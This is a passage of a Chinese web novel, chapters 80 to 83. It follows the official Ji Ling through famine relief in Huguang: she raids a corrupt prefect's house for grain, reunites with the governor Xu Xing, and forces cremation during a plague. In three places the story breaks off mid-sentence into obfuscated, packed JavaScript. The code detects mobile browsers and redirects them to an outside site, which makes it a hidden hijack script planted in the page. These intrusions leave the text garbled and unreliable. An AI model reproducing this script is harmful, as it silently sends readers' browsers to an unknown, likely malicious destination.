季泠被掐的几乎窒息,紧紧抓着成珏的手渐渐垂落,将要闭上了眼。 成珏并未松手。 须臾,成珏松手了。 因为季泠袖中滑落的匕首抵在成珏胸前。 针锋相对,再无隐藏。 80. 马踏月影远道而来 “你以为,你能走的出这个营帐吗?”成珏毫不担心自己的性命。 “我今日既然来了,便是想与成大人好好说说此事的,是您要先动干戈。” “好好说说?指的是你给我下药,再偷走我的令牌?” “成珏,我是奉应大人之命前来湖广的。”季泠的眼睛幽深,毫不避讳地看着眼前远比自己高大强壮的人。 她在行此险招之前,还很惊恐,但已经走到这一步了,她就必须利用上一切,赌一把。 她一步步前进,成珏避免她的匕首刺入胸膛,只能一步步后退。 两人再次回到圆桌边,心平气和地坐下来,若是忽略胸前的匕首和颈侧的刀。 “谈一谈吧。”季泠道。 语罢,两人同时收起利刃,再度恢复谈笑风生的模样。 “将令牌交出来。” 季泠摇头:“借我一回,算我欠你个人情。” “你倒是狮子大开口,你还欠我一条命未还,不是我欠你,你想清楚。” 季泠心知肚明,可她不要脸,她就敢这么要求。 “那就算徐行欠你吧,吏部侍郎的恩情,一个可顶两个吧?”季泠说的脸不红心不跳,信誓旦旦的仿佛自己才是吏部侍郎。 “哦?徐行同意了吗?你就这样将他卖了?” 季泠避而不谈:“这原也不是什么大事。我只是想借你令牌一用,调几个人便足以,等事成之后,我会将令牌奉还的,保证不给你造成麻烦。” “你要我的令牌做什么?” “籴粮。” “你哪来的钱?你从武昌府内过来的,你该知道,如今城内的粮食,一石已经疯涨至七八两白银。大合乡这么多人,你要买多少才够?” “所以我要借你的令牌调用人手,去抄姚家。” 成珏不可置信:“你疯了?他再怎么样也是四品知府,你一个五品郎中,还是暂代,怎么有资格去抄他的家?更何况,虽然我们如今暂时将他控制住,但你也知道,我们手上并无罪证。回京之后,他若是无罪释放,该下狱的就是你。” 季泠听见,成珏已然说了“我们”,那便是有希望了。 她早已崩溃过一回,在葬完那个孩子后,在给成珏下药前。 因而眼下,她无比平静。 “成大人,你我都是贫民出身。” 是的,贫民,不是权贵,不是世家,不是清流,甚至不是寒门,更不是平民。 他们都是贫民。 “所以,我们站在如今这个位置,更有这份责任,去救昔日的我们,也是来日的我们。” 她目光如炬,一柄燃天炬火,到了湖广,受了挫败,烧得更旺了几分。 “应姑娘救了你,我小人之心揣度,她那样温柔善良的人,日复一日、不计回报地施恩于民,唯一的期望,应当就是她无心洒下的种子,能被从陕西走到京城的人,沿途播种,以至蔚然成林,庇护万千旅者。” “我不求你其它,我也不求你同她一样施恩,我更不求你将大合乡百姓的生死放置于自己的前途之前,这都是你的选择,我没资格左右。” “我只求你一件事,睁一只眼闭一只眼,对我今日所为。来日若真有大碍,你便直言令牌为我所窃,下狱便下狱,反正人终有一死。” 成珏看着季泠,如此平静,她藏了几分心计,他不是看不出来,可她确实,正中他下怀。 “用你一条命,换那些不感恩于你,甚至欺你咒你之人的命,值得吗?” 他是贫民,故而他更知道,人性的凉薄。 季泠淡笑,曾经,她也觉得,她的命从建州到京城,从书院到朝堂,便镀金了。 她靠自己的努力,做了一府的三甲学生,公主府的谋士,朝堂的户部官员,她是士人,一命抵万金,她该是国家的砥柱,该有更灿烂的未来。 何咨宁也是这样想的,但她先判了一年的鸡鸭官司,再不这样想了。 她如今也是。 “应无所住,而生其心。我做什么,不求百姓善言感恩,只愿自己无愧于心。” 成珏神色复杂,终于背过身去。 季泠起身,以士人之礼,拱手而拜,谢他的视而不见。 而后大步离开营帐。 “应疏……希望,我的所为,你不要觉得是个懦夫。” 烈马屏风后,成珏看着手中的荷包,喃喃低语。 一袭青袍如夜间流云,后尾带数十香色锦衣侍从,从大合乡纵马驰向武昌府。 不过几日,城中的麦子,箓豆都已经涨到十两,甚至是一斗糠都要几两银子。 季泠站在姚知府宅前,冷眼看着锦衣卫在妇孺惊叫中翻查,率先抄了几箱白银,换来了粮食就往大合乡返去。 矮台之前,月明星稀,枯枝聚火,乡约里长奔走相告,前来施粥。 深夜时分,百姓终于吃到了一口粮食,即使是零星一点,也已经感激涕零。 “季大人...这是何处来的粮食?”是那位递帕子给她的妇人出言,姓袁,她家中仅剩女儿小花与她相依为命。 季泠忙着手头的事务,随口一说:“我们官府中人这几日的口粮。” 袁娘子忧心地问:“那大人怎么办?您还要替我们奔劳辛苦。” 季泠忙着维持着排队领粥的秩序,还需分神思索明日如何是好,便只不在意地应她:“你们有一口粥,我便也有一口粥。我的命不比你们的金贵几分。” 罗大伯看向这位忙碌的大人,现下终于明白,朝廷派她前来的用意。 “季大人,你去休息吧,这儿我们照看着。” 季泠点点头,也不多作推辞。 她的命是不比他们金贵,可目前来说,她的精力与脑子还是很金贵的。 眼下的劫是过去了,可日后怎么办? 万一,两日后,粮食还不到呢? 抄了姚知府,她下一个还能抄谁? 就算有钱,也没有粮源。今夜她买粮食时也看见了,连各个粮店中,也所余不多。 季泠拖着步子,往营帐慢慢走去。 她从来没有这么累过,完全的筋疲力竭,一步也走不动了。 暮云黑夜之下,一片远旷哀野,那儿有棵树,是季泠梦寐以求的中点,她朝着树走去,颓然而坐。 若是没看见今日的哀殍遍野,季泠兴许会庆幸,还好自己已经提前做了充足的准备,相比起在治疏中所见的易子而食的惨况,现下已经是她向上天争取到的最好的结果了。 可是当她衣冠整洁地走进灾民之中,看见的画面远比书页上的文字所可怖骇人—— 他们残衣破缕,满面哀惶,呆看着日夜耕作、赖以生存的土地被烈日吸走养分,青草都被蒸腾地干枯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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循声望去,寂静辽阔的干涸硬地上,仅有那么一个风尘仆仆的身影。 她还未允许自己的理智提出惊疑,便已经控制不住涨潮般涌上脸颊的酸胀,在站起来的那瞬间,那个实影就分化成数个虚影,几乎虚幻的如同急速振飞的蝴蝶翅膀,在夜幕下,因她眼中的滤色而多了几抹光的绚烂。 她扶在树旁,指尖扣住树皮缝隙中干硬的泥土,颤声问他:“你怎么来了?” 他原本是站定了,见她落了泪,手中的缰绳不自觉地松落,奋不顾身地奔跑起来。 季泠第一次看见徐行衣衫凌乱的样子,也是第一次看见,往日垂绅正笏的人这样行色匆匆。 她的眼中热意滚过一浪又一浪,将月光翻腾得灿烂如日光普照。 在那样分辨不清昼夜的永恒般的在静止中延长至千年万岁的瞬间,一个远道而来的身影目标明确地朝她奔赴,每一步都坚定而虔诚。 那双有力的臂膀撑住她的无助,将她一把拥进怀中,大袖掀起来一阵夏夜的和风,把他在路途中留存的力气全部释放。 他摸着怀中之人的头,深吸一口气,湖广的干燥划伤他的咽喉,终于让他压抑不住嘶哑:“我奉旨而来。” 月光下,马儿在树边踢踏着。 他抱着她,控制着臂膀涌动的热血,生怕她再次逃离。 他在千里奔途中,在马上疾风中,质问她无数遍,为何将他们八年的过往,用一本账册计算定论。 可当他看见她时,看见她噙泪的双眼,她孤高的灵魂,她清峻的脊背,她坦然的无助,便将任何质问都留于京城到湖广的百里急行中。 哪有什么奉旨而来。 果思酒香溢,花为诗词开,风揽月入怀,吾为卿而来。 81. 身不由己言不由衷 徐行上任湖广巡抚,带来赈灾粮食,两日后,越山压粮抵达,季泠终于得以喘息。 徐行随季泠走进她的营帐,一张床,一张条案,一张书案,一个圆桌,一个橱柜,一览无余,再无其它。 徐行皱眉:“你怎么就住在这儿?和锦衣卫一块儿?” 季泠笑着拉他坐下,先问了他:“怎是你来巡抚?应大人知道吗?” “应该已经知道了,陛下本欲派遣胡大人前来,可户部脱不开,我便自请了。” 季泠拧了帕子,对着铜镜细细地擦脸。 铜镜中,徐行坐在圆墩上看着她的背影,似乎比在京城时瘦了几分。 胡善樘,户部尚书,户部最神秘的人,她几乎未见过几回。 应惟绅坐在户部侍郎的位置上十多年,而胡善樘是前几年从地方直跃户部尚书之位的。 她不太了解此人,也未听过他器重哪位户部官员,只知道他与礼部尚书刘辅钦私交不错,都喜欢钓鱼游江。 眼下,虽然应惟绅可疑,可胡善樘也未必全然无辜,她仍需警惕。 既然徐行是自请前来,那应惟绅之事,他应当暂时不知情,与成珏一样,她必须在两人回京获得所有消息前,充分利用这个空档与他们的势力,完成她的调查,解决一些难题。 季泠看着铜镜中的自己,将这几日的事情全盘托出。 ——姚知府暗害她、挑起民乱、刺杀成珏,她安排的赈灾粮在途中遭遇意外。 徐行走到她身边,撩开她的鬓发,借由一盏烛火,看清她额角的伤口。 “伤你的人呢?” “成大人抓起来了。” 徐行心下一跳,想到那日诏狱之前,成珏的试探。 “成珏可有为难你?” 季泠摇摇头,迟疑片刻,还是决定跟他先透给底:“他知道我们的关系。” 果然,他开始试探季泠了。 可成珏究竟意欲何为,他却难以分辨。 季泠看他眉头紧拧,将自己的手放入他掌心之中,道:“想来应当无事,他并未为难我。” 她不知道成珏为什么无端说起她与徐行之事,也不知他为什么选择告诉她,他与应家的瓜葛,但总归他们两人互知彼此的秘密,该有一份道义为彼此闭口不言。 朝堂中,每个人都有需要藏匿的阴暗,也都有自己执守的底线。她如此,徐行如此,兴许成珏亦如此。 她虽不信锦衣卫指挥使,但她觉得,成珏此人能将应疏的一份恩情铭记至今,骨子里是留有几分善意的。 可徐行并不如此认为。 不为难她,却威胁他在前,试探她在后。 那便是别有所图,隐而不发。 “你与成珏少往来,他绝不是你想的那么简单。姚知府一事,你如何看?” 季泠垂眸,徐行的手将她双手合住,似乎她真的有了后盾。 “他与闫有德勾结是必然的,只是眼下没有确凿证据罢了。背后之人是谁,暂时不清楚,但以其在湖广的势力,绝不是一介知府或是主事可以掌握的。” 她只能先说这么多,徐行如何意会,便看他自己了,再多的,她不能说,也不敢说。 “无妨,姚知府的事情交给我就行。只是你也实在冲动,竟然直接去抄他的家……你带谁去抄的?” 武昌府的人肯听她调令,去抄自己上司吗? 季泠弱弱抬眼,知道无可避免:“锦衣卫。” 徐行手中的力道骤然缩紧,季泠痛的嘶了一声。 “你怎能调动锦衣卫去?” “我是什么样的人,你还不知道吗?能摸来姚知府的印信,成珏的自然也能摸得。” 徐行哭笑不得:“这倒像是你的性子。只是如此一来,你与成珏可是杠上了,你不怕?” “我说欠他一个人情。” “什么人情?” “吏部侍郎的人情。” 徐行挑了挑眉:“你把我卖了?” “到时候你矢口否认就好了,反正是我许的诺,你既不知情,何必践行。” 季泠其实无意诓成珏,也不是故意推徐行,只是当时成珏一问,她立刻便想到,等成珏要她还人情时,徐行早已跟她分道扬镳,徐行自然不会认下,而她没准都身首异处了,也可往事随风。 若真那么幸运,她活到了那时候…… 那便到时候再说吧! 兵来将挡水来土掩,眼下的事情才是最重要的。 可季泠一抬眼,看见徐行似笑非笑的表情,下意识觉得自己定是又说错话了。 “怎么了?” “君子一言,驷马难追,你既许了诺,我又怎可不践行?” 季泠疑惑看他:“你,不介意?” “我好歹也是吏部侍郎,替你还人情,还是还得起的。” 徐行见她惊犹未定,捏了捏她的脸,分散她的注意:“怎么?不信我?还是想着,该如何还我这份情?” 季泠未察觉到危险,只愣愣地说:“信你信你,只是……” 只是她觉得没必要。 他们如今最好分的清楚些,省的来日一拍两散了,她欠的太多,还不清。 为官不易,非仅是在任上不易,而是她走入仕途之前,便欠了太多人情,若是再欠下去,怕是一生都还不干净了。 徐行指间施了力,她的脸泛起蓟粉,只好赶紧回过神来。 “姚知府,你打算怎么处置?”季泠试探道。 “眼下湖广赈灾最紧要,解决了赈灾,才好从此入手,步步循据。若依照你之前的推断,此事牵扯甚广,皇上断不会只让锦衣卫查。离京之前,瞒报河南蝗灾的涉事官员都已经定案处置了,等湖广这儿一结束,税银案便会推进。” “闫有德呢?闫宅还被封着吗?” 徐行点点头,“大理寺复核闫有德渎职一事,只是眼下除了渎职串通,仍未有定论。你也知道,五刑之疑有赦,五罚之疑有赦,其审克之。疑罪从无,除了革职,无法给他更重的处罚。” 他无比迫切让闫有德被绳之以法。只是闫家搜也搜了,愣是什么也没查到。 实在古怪。 “姚知府这儿,我想自己查。” “你查?以什么名义?” 季泠目光灼灼,握住徐行的手,将脸贴上去。 她一笑,他的掌心就被填满了。 “我替先生分忧解难?” 徐行便不容许她这样以私谋公,俯身靠近她,见她要往后躲,又握住她肩头,非不让她得逞。 “你怕什么?” 季泠弱了声音,“你若不许,便算了。总归你才是巡抚,我只是想狐假虎威罢了。” “你怎知我不许?” 季泠一听有转圜的余地,一把抓住他双臂,亮眸如见流星闪过,仰头看他:“你许?” 徐行只盯着她,迟迟不给回应。 星子倏尔滑落,季泠松开他,低了头。 徐行见此,正想告诉 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她以前看戏文里写,女儿家撒了娇,便叫再心硬的男子也软下来。 徐行将要而立,就算不娶妻生子,门庭也不该是这样冷落,她原以为他不屑于此道的,并不吃这套。 没想到也不能免俗。 兴许是他素日官威过盛,冷脸时也骇人,贴近他的姑娘不知道可以使这招,反叫她误打误撞了。 徐行想着,该是这姑娘脸皮薄,经不起他的调笑,便害羞了,只好摸摸她的脸,再软几分。 “我便许你借我的虎威,许你便宜行事之权,许你全权负责姚知府之案,如何?” 这样的再三许可,季泠才算放心。 夜深了,徐行不可在她帐内逗留太久,嘱咐她几句便匆匆离开。 季泠没想到她如此顺利地得到了审查姚知府的权力,暗叹原来世上不仅有美男计,她这样的粗野之人求两声,也不必学美娇娘暗送秋波,欲拒还迎,竟就达成了目的,委实是惊讶到她了。 如此想来,简直不费吹灰之力,几乎都要让她觉得这是蜜糖陷阱,倒显得往日的算计靡费心力了。 季泠起身洗漱,再度坐回铜镜之前,松开发髻时,不由怔住。 镜中的自己,脸上的竟然是十足十的娇嗔,叫她自己都吓了一跳,格外陌生。她泛上苦笑。 她的神情,她的言语,她的动作,究竟有几分真心,几分假意,她自己都分不清了,难怪徐行能够信以为真。 而这样的信任又能维持多久呢? 估计也就湖广这段时日了。等回了京城,她查出的证据呈了堂,兴许徐行都会后悔将姚知府交给她吧。 那时,她就算撒娇撒到嗓子破了,怕也无用。 毕竟,若徐家与应家只是父辈的交好,那还有几分中立的余地。 可…… 姻亲。 还是过了定的姻亲。 她怎么就这么倒霉呢? 哪条路都走不顺。 也罢,捷径走不了,也不是什么难过事。 真要叫她每回有事都去求人,也实在为难自己。倒不如再努力爬一爬,自己坐上那样的位子,让他人来求她。 主动权总该掌握在自己手中的,捷径虽妙,走几回便该识趣止步了。 82. 道心唯微人心唯危 季泠暂领武昌府赈灾事宜,可徐行巡一省之事,不可在武昌逗留过久。 季泠借徐行之势料理了姚知府的几个忠心部下,就地处置了伏击越山所运赈灾粮的幕后黑手,杀鸡儆猴,稳下武昌局势。 姚知府既落马,自然该有人顶上。 季泠连日观察,武昌府的黄同知做事也算利落,昔日由他经手呈给户部的牒呈条理分明,是堪为用,便由她做主,提黄同知随她一起处置武昌诸事。 她若想真正掌管湖广,坐稳郎中之位,必要把闫有德德人拔出干净,提几个自己人,方才行事便宜。 徐行巡视了大合乡与周边几处乡镇,主持了局面,给出了赈灾措施,督察了负责官员的赈灾效果后,便入主武昌城内。 府衙之中,徐行坐于高位,堂下浩浩荡荡一排武昌官吏,皆是胆战心惊。 平日姚知府带着张笑面皮便已经够难处了,如今巡抚大人来,端的是一副温和模样,可与参政大人和布政使大人谈笑风生之际,就有那么一伙人遭了殃。 遭殃的那伙人都有一个共同点,便是都与前几日那位季大人处置的官吏有些首尾。 眼下,徐大人仍微笑着,或许本不在笑,只是他的习惯罢了,可见他坐在堂上悠悠喝茶,茶碗放下,发出响声,姚知府便在他口中定了一桩罪,他们怎能不惧。 这位巡抚,可是吏部侍郎,如今吏部尚书年迈,过几年便该致仕了,这位子该轮到谁坐,明眼人都能知道。 “既是吏部侍郎巡抚湖广,他论及的便不再只是我们赈灾的情况了,定要查查我们过往的得失赏罚,眼下他在这儿坐着,兴许京城吏部档案上已经添上那么几笔了。” 站在末尾的一员小吏与同僚悄声议论道,抬眼间便似乎看到一道微凉的目光朝向他们所站之处,立刻哆嗦噤声了。 高位之上,徐行扫过阅云呈上的案卷,便已了然。 “黄同知可在?” 黄同知颈后一麻,也算冷静,出列拱手道:“下官在。” 徐行瞧了瞧他,是个稳重的,微微点了点头,下面许多人便捕捉到这个讯息,暗暗瞄了一眼黄同知。 “本官于武昌诸县巡察之时,便听户部季大人赞你,处事有方,历年盐务粮食、河工水利皆理善,律己公廉,执事勤谨。” “下官本分,既受命以牧斯民矣,而不能守公廉之心,是自不爱也,宁不为世所诮。” 倒是不卑不亢。 只是,监察的通判与姚知府相互勾结,怕是这位黄同知夹在中间也不好做。 “善,如今知府之位尚缺,赈灾事繁,诸位便应不遗余力,佐助季大人。” 武昌府诸事已毕,徐行经过大合乡,驻扎一夜,明日便该启程去往下一府。 才进乡内,探路侍卫便已发现异样。直到行至锦衣卫营帐附近,他们才终于得见异样全貌。 无论官吏乡民,所有人都满脸惊慌,行色匆匆,与身边之人也隔开多步距离,生怕触碰。 再往前走去,到大合乡前到矮台空地处,多了几顶营帐,其中出入之人都以布覆面,心下震骇终于被证实。 是疫病。 徐行几人立刻抬手掩住口鼻,往空旷之地后退。 他们当下必须去和锦衣卫、当地驻兵以及季泠等户部赈灾官员商议此事。 而当他们退回锦衣卫营地,走入议事大帐时,却偏偏只少了那么一人。 待徐行闯入季泠的营帐之中,她的东西已经不见踪影。 几乎不必思考,徐行便猜到了答案。 不过瞬间,徐行不顾前后簇拥侍卫随官的阻拦,往那片广场走去。 徐行在奔往广场的途中,耳边一直回荡着侍卫的话:“季大人说要与乡民共进退,怕之后疫病会传染到锦衣卫,便将东西都搬入乡前营帐之中了...” 广场前,一顶顶白帐子,一张张被白布掩盖的脸,进进出出,没一张是他熟悉的。 徐行眼见无云晴空下的那片接天惨白,似乎一瞬间就有一轮烈日将他的心蒸干,眼下已经龟裂。 “季大人!季大人!”一人从乡内跑来,跑入一顶账中。 徐行深吸一口气,抬步走向那处。 “大人!不可靠近啊!”徐行被随行属官拦住,巡抚若是出了事,湖广民心必乱。 “无妨,我只去说几句话。” 览风阅云站在帐前,替徐行洒了驱疫艾水,将帐内人都清出去,方才入内。 徐行入帐,见到那个背影,终于舒了一口气,心头那股后怕还缠绕未褪。 他这样大的阵仗,她又怎会不知。帐内所有人都退下时,她就知道,他来了。 徐行大步走到季泠面前,就看见盛夏之日,季泠将自己层层包裹起来,只留下了一双眼睛透气。 他猜到了,他就知道! 她又要亲涉险境。 徐行钳住季泠的双臂,语调已经失去分寸:“航青!你不能去!那是疫病,不是小事。你后面还有那么多事情要做,湖广还有那么多州府要顾及,你难道要只身赴险,命丧于此吗?” 他试图用更大的责任,让她权衡利弊。 可她一向不是那样周全所有的人。 季泠挣脱了徐行的手,继续为自己戴上香包:“徐大人,一乡的百姓我若不去救,又谈何一州一府?人命没有多少之分,轻重之别。灾祸之下,我们都是一样的脆弱,也是一样的顽强。” “可你不是医者!去了只是徒送性命!你是官员,不是神仙!航青…” 季泠脸上的白布层数更甚于他人,她快要喘不过气了。 徐行说得没错,她还有很多事情要做,所以她必须竭尽全力顾好自己的命。 她在身上挂满了驱疫的药包,她不知道有没有效果,总之她能求个心安。 “你看,我会保护好自己的。让我去吧,我没办法心安理得地坐在屋里挥斥方遒,却眼睁睁看着百姓哀惶痛苦。” 她恳求他,眼中都是泪。 灾祸之下,她的命也不过如蒲苇飘轻,并不会因为她的聪慧或是身份而多一层抵抗。 可怕也没用,这是她的责任,她既任了赈灾官,来了大合乡,便只能深入险境,与乡民共克时艰。 天灾轻易将人黎庶生机碾碎,她必须代表朝廷出现,让百姓心中留存一份希望,将她视作神佛也好,抨击她是个蠢人也罢,只要百姓觉得自己没有被放弃,就能挣扎出一丝生的勇气。 徐行不得不低下头,将她紧紧抱在怀里,几乎要将她勒疼了。 他真怕她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446344|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样一走,他就再也看不见她了。 他将头埋在季泠颈边,贪婪地嗅着她的每一缕气息,想要留住,想要铭记,只是现在,他只能闻到药包的味道。 那个味道沉重又暗淡,几乎如同夏天酷暑中的汗水,全部沾黏在他身上,他烦困其中又无计可施。 季泠感受到他的唇贴在她的额间,在颤抖。 她的心便也颤抖起来。 隔着层层白布,摸着季泠的脸,徐行压制住哽咽,只红了眼眶,哑了嗓音。 “好…你去吧,无论如何,这里有我。” 季泠缓缓点头,后方决策,牵一发而动全身,不能没有能拿主意的重臣。她要奔赴前方,有徐行在后面坐镇看顾,她很放心。 季泠笑笑,与他擦肩而过。 她一步一停,站在帐前良久,最终难以抑制翻江倒海的恐惧,转身扑进他的怀中。 她撞在他胸膛上,那嗡鸣余颤几乎要将他震碎了,他便是这样不堪一击。 季泠从未料到,湖广此行,会是如此艰难。 每日醒来,世道便将她再往地狱中推上一步,让她害怕,不敢停止地狂奔。 眼下,她几乎濒临绝境了,她眼前只有徐行,她只叹上天对她不公,非要设障让她煎熬,又要谢上天算是对她留了一分善心,至少是他,至少还有他。 税银案她管不了了,应惟绅她也管不了了,她真想自私地跑走,拉着他跑回京城去,把艰难困苦都抛给湖广,她再也不要想起。 可她知道,她不行。 于是她只允许自己矫情那么一小会儿,她以季航青的身份,躲在他宽厚的胸膛前,仅小会会儿。 当喉间的酸楚泛起又咽下,循环往复,直到她喉咙干痛,酸楚一去不复返时,她终于敢开口。 “徐行,”她伪装豁达。 “我惦记着姚知府一案。”她回归身份。 “你说。”他懂她的嘱托。 “户部高官,与他有关,湖广背后,掌舵之人,中央地方,皆擅伪装。”她言尽于此。 “我都知道。” 季泠了然,他懂她的暗示,可他未必懂她的决心,她要逼他作选择,在来日选择中,必须想起她。 “我希望,”她缓缓说,几乎如同她此生能说出的最后一句话那般眷恋,“你能将此案作为我在湖广赈灾的最大功绩。” 她直接提出要求,紧接着感受到发旋处传来他下巴的点触。 他点了头。 可她犹不满足,勾下他的脖子,阖眼之时,隔着白布,贴住他的脸。 “允执厥中。”她轻声问他,“你还记得吗?” “那年秋季,郑先生告假一日,你替他讲过一回《尚书》。你当时说,道心唯微,人心唯危,唯精唯一,允执厥中……” 徐行接上她的话,“此为尧舜治世心法,诸生应以贯之。” 蒙在白布下的脸舒然一笑,睁眼看着近在咫尺的人,深而不舍地看着他的眼睛,却似乎是在望向辽阔又悠远的天际星河。 “航青一直记得,记得先生对我的教诲。” 所以徐先生,你断断不可忘记。 “我必如你所愿,将幕后之人绳之以法。” 君子一诺,价值千金,她再无挂念。 83. 机阱满前众镞攒体 徐行看着季泠的背影,她是乡民的救赎,毅然决然地走进那片空地之中,那个萦绕着死亡气息的地方。 她离开后,带走他满袖盈风,几息之间,徐行收敛住所有情绪,走出回到议事公帐内,召来所有人商议后续棉布、药物、粮食等物资的供给。 在季泠随着医官走访各户的那几日,徐行夜奔昼达,完成各地视察。 此次疫病来得迅猛,许多乡民不过只是同一时刻接触,竟然当天就立刻患病。 季泠立刻下令,将疫病所过之处画地为牢,只进不出,避免疫病扩散到更多地方。 若只是一个大合乡有疫病,尚且还能以人力控制。 若是蔓延到整个湖广,后果不堪设想。 医官访诊了众多病人,摇头叹息:“每逢天灾,必有大疫,自古以来,疫病基本无法根治,只有等人全死了,才能停止。” 季泠毛骨悚然,全死了.... 整个大合乡,少说也有小几万人,全死于此,这该是多么大的一场浩劫。 “依大夫看,大疫生于大灾,会是什么原因引起?若是找到原因,是否能从源头遏制?” 季泠提问时,正和大夫从一户人家中走出来,那户人家的男人上吐下泻多日,如今只能吐出绿水,不出几个时辰,怕就不行了。 她和大夫走回矮台前的广场上,广场之中已经堆积了许多尸体还来不及掩埋,炎炎夏日,已经滋生出一股腐味,穿过层层白布入侵她的鼻腔,季泠有点想吐。 许多乡民守在亲人的尸身旁,无论如何劝说也舍不得离去,季泠不得不叫官兵将他们先拉开。 如此全部拥堵在广场前,不便于人员进退。 “这样再不掩埋,就要滋生虫蚁了…”大夫叹息。 季泠豁然开朗,当即问道:“掩埋难道不生虫蚁吗?” 大夫没料到季泠有此疑问,想了想答:“自然不会,入土为安了。” 入土为安?怎么可能呢? 她知道,最早死的那一批人不仅仅是饿死的,还有许多是抵抗不住饥饿,食用了死禽,上吐下泻后,还来不及等待乡中寻找大夫,便立刻病亡。 而后,因为粮食短缺,乡民有心无力,来不及掩埋,或是掩埋了就草草了事,一层薄土怎么能掩盖住虫蚁入侵,这样一来可不是容易生出疫病吗。 “田稼枯槁,湖塘皆涸,饥荒以致饿殍,尸体受到烈日曝晒,滋生疫气,加之乡民食用病死的禽畜,肠胃不禁,疫病旋踵而至。” 季泠默念,将所有的可能和方法都在脑中过了一遍,最后打定主意。 “大夫,埋尸是兴许正是疫病的来源之一。这些得了疫病的乡民身上带着疫气,入土也难以阻挡疫气的流传。唯一的办法,就是火葬。以火攻气,才可以遏制源头。” “季大人!不可呀!火葬乡民们不会接受的!” 白布之下,季泠透露惫意的双眼望向广场上散放的尸体,仆倒的乡民,渐渐冰冷。 “他们若不接受,那就只能给故去的亲人陪葬了,生死关头,不由得他们决定。” 话虽如此,乡民若是不愿意接受,她一时间也难以推进,为今之计,她只能去说服乡约和罗大伯替她动之以情了。 都不必等乡民的反对,乡约和罗大伯一听季泠要火葬所有亡者,立刻拍案而起:“季大人!此言可是违反天道的!我们汉人自古以来都是入土为安,如今乡民因饥也好,因疫也罢,都饱受折磨而亡,你怎么能让他们连全尸都留不住,挫骨扬灰,他们该如何超度转世呢!” 季泠也很无奈,她就知道,大合乡的人不可能破除心中那条神圣的礼法,越是这样倚天靠地而生的地方,越相信这些宗法之说。 她并非不想尊重他们的信仰,可是,人最重要的,就是活着,其余一切都可以为之让路。 “两位稍安勿躁。我知道这样做无论是对二位,还是乡民而言,都难以接受。只是,二位也瞧见了,如今每日患疫之人不断增长,完全没有消减之势,大夫医官所开的香包与汤药,都治标不治本。若是继续这样放任下去,不将疫病的源头制止,大合乡就要如同过往所有遭灾的地方一样,人畜尽亡,以止疫传了。” 季泠的声音透过厚重的白布,沉闷却不容置疑,敲打着二人。 他们面面相觑,还是不能接受。 “二位,莫要受制于故矩。本官寻你们二位前来,便是要你们明白,你们不仅是大合乡的一份子,更是他们的引领者,乡民愚昧,你们读书识字,受乡民敬重爱戴,便该多几分清醒,担上这份责任。” 是什么责任? 非是一味听取乡民的意见,走多数人想走道路。 而是遍望极目,恶鬼热风,为一乡大局,哪怕招致无断祸患,遭受不解辱骂,也要因这份责任,不畏机阱满前,众镞攒体。 “我仍是那句话,大合乡不好转,我不会离开。只是,二位当真要为了虚无缥缈的逝者之安,放弃所有生者的机会吗?这些生者中,有那么多扛过饥荒的孩子,才刚怀胎的妇人,垂死挣扎的老者,以及,作为家中顶梁柱的,二位。” 季泠盯着他们,只有将他们的命运和不得已的决定牵扯起来,他们才能明白,如今已经是箭在弦上,不得不发了。 “此番疫病若是能够扛过,我会上疏天听,减免大合乡的税赋徭役,并且请高僧前来,为诸位乡民超度亡灵,以保他们早登极乐。” 以理相晓,以利相诱,以情相慰,乡约与罗大伯彼此相视,终于叹气,火葬是他们保住大合乡最后的方法了。 几日后,经由乡民与各族长游说,所有未下葬的尸体全部都集中在远人的空地前,被一把烈火烧为灰烬。 徐行方从襄阳府结束巡察,回到大合乡,便见乡间闸内之处,大火熊熊燃烧,映衬着天空也被灼红,晚霞垂泪泣血。 日落月升,火势渐平,仅留余烟白尘,久久弥散,又被一片悲痛哭号掩盖。 成珏听着乡内的喧乱,啧啧出声:“季执庸真心狠啊。就这样将所有尸体都烧了。” 徐行看了他一眼:“成大人难道还有更好的办法?” 成珏在此刻还有心情针对他:“怎么?戳到你心尖了?” 徐行皱眉,不欲与他无谓争论,却暗自猜测成珏究竟知道了几分,又究竟想借此来威胁他们什么。 正当此时,览风从远处跑来:“少爷,季大人传话。” “说。” “季大人要您立刻招派人手,在封锁圈周边找一处通风的空地,修建一处济病坊,专门用来照顾病者。” “好,我即刻找人去办。” 语罢,略扫过成珏一眼,走到一旁低声问:“里面情况如何?她还好吗?” “属下只能在封锁圈外与季大人身边的侍从传话,远远瞧见季大人的身影,应当无碍。只是听说,许多乡民因为火葬之事,觉得季大人心狠,对她心生怨怼。” 徐行思索片刻,将令牌交给览风:“武昌城外,有一处普陀寺,你将住持请来,并备上千个平安符,在封锁圈外筑个高台,找个顺风的日子,务必要将诵经声传入圈内,并将平安符派发下去,就说,已经由高僧诵经开光,护佑他们的亲人顺渡奈何。” 焚烧病尸后,疫病传播渐缓。 火葬后的那两日,季泠在乡中访问时,总猝不及防地被乡民扔东西砸中,或是无端惹来一通辱骂,骂她是没良心的女罗刹,咒她死后也无法入土为安。 起初才听时,季泠只恨自己非穿着这身官服,担着这个责任,不能言之凿凿应回去,只能把气憋在心里,替自己不值。 可日日听,她便漠然了。 乡约里长随在她身后,并不意图替她说话,因为他们本也是受季泠的威逼利诱才促成此事,心中多多少少也有些怨念,不同于乡民破罐子破摔,他们碍于身份,不敢明言。 “毒心眼!竟会想出如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 